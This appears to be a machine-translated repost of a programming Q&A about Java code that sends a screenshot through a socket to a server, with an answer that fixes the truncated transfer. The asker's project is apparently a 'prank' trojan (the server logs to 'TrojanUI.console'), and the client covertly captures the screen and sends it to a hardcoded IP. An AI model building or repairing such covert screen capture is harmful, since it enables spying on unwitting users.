Java通过socket发送截图

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Java通过socket发送截图相关的知识,希望对你有一定的参考价值。

我正在制作一个恶作剧程序,但无论如何都有点用处。

我目前正在尝试做的是从客户端获取屏幕截图并在服务器上打开屏幕截图作为JFrame。

经过多次尝试,我发现这个未解决的问题How to send images through sockets in java?

屏幕截图通过,但它的切碎,只有大约120-135kb通过。在最高投票的答案他在客户端有Thread.sleep()关闭连接之前,但我尝试没有它,它出来切碎所以我尝试了,因为他把它但它仍然回来切碎。我的客户端类读取输入数据是在循环上运行每100毫秒所以我认为它循环太快所以我把它增加到1000毫秒,它仍然被切断。

我在另一个答案的同一个线程上尝试了不同的东西,并在服务器端将ImageIO.read(new ByteArrayInputStream(imageAr))更改为ImageIO.read(new ByteArrayInputStream(imageAr)),但那时没有图像进来。

这是我开始时尝试的原始方法之一,但这根本不起作用! https://javabelazy.blogspot.com/2013/10/sending-screenshot-from-client-to.html

服务器

package UI;

import java.awt.image.BufferedImage;
import java.io.ByteArrayInputStream;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.File;
import java.io.IOException;
import java.net.ServerSocket;
import java.net.Socket;
import java.nio.ByteBuffer;
import javax.imageio.ImageIO;
import javax.swing.ImageIcon;
import javax.swing.JFrame;
import javax.swing.JLabel;

public class ViewScreen implements Runnable{
private static Thread t;
@Override
public void run(){
    //Screenshot Frame
    final JFrame frame = new JFrame();
    frame.setSize(500, 500);
    frame.setDefaultCloseOperation(JFrame.DISPOSE_ON_CLOSE);
    t = new Thread(){
        public void run(){
            try{
                int port = 6667;
                ServerSocket serverSocket = new ServerSocket(port);
                Socket server = serverSocket.accept();
                TrojanUI.console.append("[*]Waiting for screenshot on port " + serverSocket.getLocalPort() + "...
");
                DataInputStream in = new DataInputStream(server.getInputStream());
                DataOutputStream out = new DataOutputStream(server.getOutputStream());
                byte[] sizeAr = new byte[4];
                in.read(sizeAr);
                int size = ByteBuffer.wrap(sizeAr).asIntBuffer().get();

                byte[] imageAr = new byte[size];
                in.read(imageAr);

                BufferedImage image = ImageIO.read(new ByteArrayInputStream(imageAr));
                ImageIO.write(image, "jpg", new File("screen.jpg"));
                server.close();
                JLabel label = new JLabel();
                label.setIcon(new ImageIcon(image));
                frame.getContentPane().add(label);
            }catch(IOException e){
                e.printStackTrace();
            }
        }
    };
    t.start();
    frame.setVisible(true);
}
}

这部分服务器代码是一个新线程,创建一个新的套接字和一个新的JFrame来显示屏幕截图。我为什么要这样做?在另一个线程上,我读到图像只会在套接字关闭时发送。所以,因为我不希望主套接字关闭或者我失去了连接,我创建了另一个套接字,它将暂时打开以仅流式传输屏幕截图。

客户

package tc;

import java.awt.AWTException;
import java.awt.HeadlessException;
import java.awt.Rectangle;
import java.awt.Robot;
import java.awt.Toolkit;
import java.awt.image.BufferedImage;
import java.io.ByteArrayOutputStream;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
import java.nio.ByteBuffer;
import javax.imageio.ImageIO;

public class SendScreen{
public SendScreen(){
    try{
        //creates new socket on port 6667
        Socket sclient = new Socket("192.168.0.5",6667);
        OutputStream sOutToServer = sclient.getOutputStream();
        DataOutputStream out = new DataOutputStream(sOutToServer);
        InputStream sInFromServer = sclient.getInputStream();
        DataInputStream in = new DataInputStream(sInFromServer);

        //Takes screenshot and sends it to server as byte array
        BufferedImage screencap = new Robot().createScreenCapture(new Rectangle(Toolkit.getDefaultToolkit().getScreenSize()));
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ImageIO.write(screencap,"jpg",baos);

        //Gets screenshot byte size and sends it to server and flushes then closes the connection
        byte[] size = ByteBuffer.allocate(4).putInt(baos.size()).array();
        out.write(size);
        out.write(baos.toByteArray());
        out.flush();
        sclient.close();
    }catch(HeadlessException | AWTException | IOException e){
        e.printStackTrace();
    }
}
}

在服务器端,我添加了另一行,在本地创建图像只是为了解决任何问题。

提前致谢

答案

你假设read()填充缓冲区。规范中没有任何内容表明这一点。试试这个:

int size = in.readInt();
byte[] imageAr = new byte[size];
in.readFully(imageAr);

保证readInt()readFully()读取正确的金额,或者尝试失败。

你也在发送端给自己一个艰难的时间。试试这个:

out.writeInt(size);
out.write(baos.toByteArray());
out.close();

请注意flush()之前的close()是多余的,但是你应该关闭套接字周围的最外面的输出流,而不是套接字,以使其自动刷新。

事实上,当您在每个图像之后关闭连接时,您可以摆脱大小字和字节数组输入/输出流,只需直接从/向套接字执行ImageIO.read/write。它会节省大量内存。

以上是关于Java通过socket发送截图的主要内容,如果未能解决你的问题,请参考以下文章

在actionscript服务器和java客户端之间通过socket发送对象

golang代码片段(摘抄)

在UDP Socket java android上发送和接收数据

使用minicap对安卓手机快速截屏

Java Socket通信之客户端程序 发送和接收数据

java socket-TCP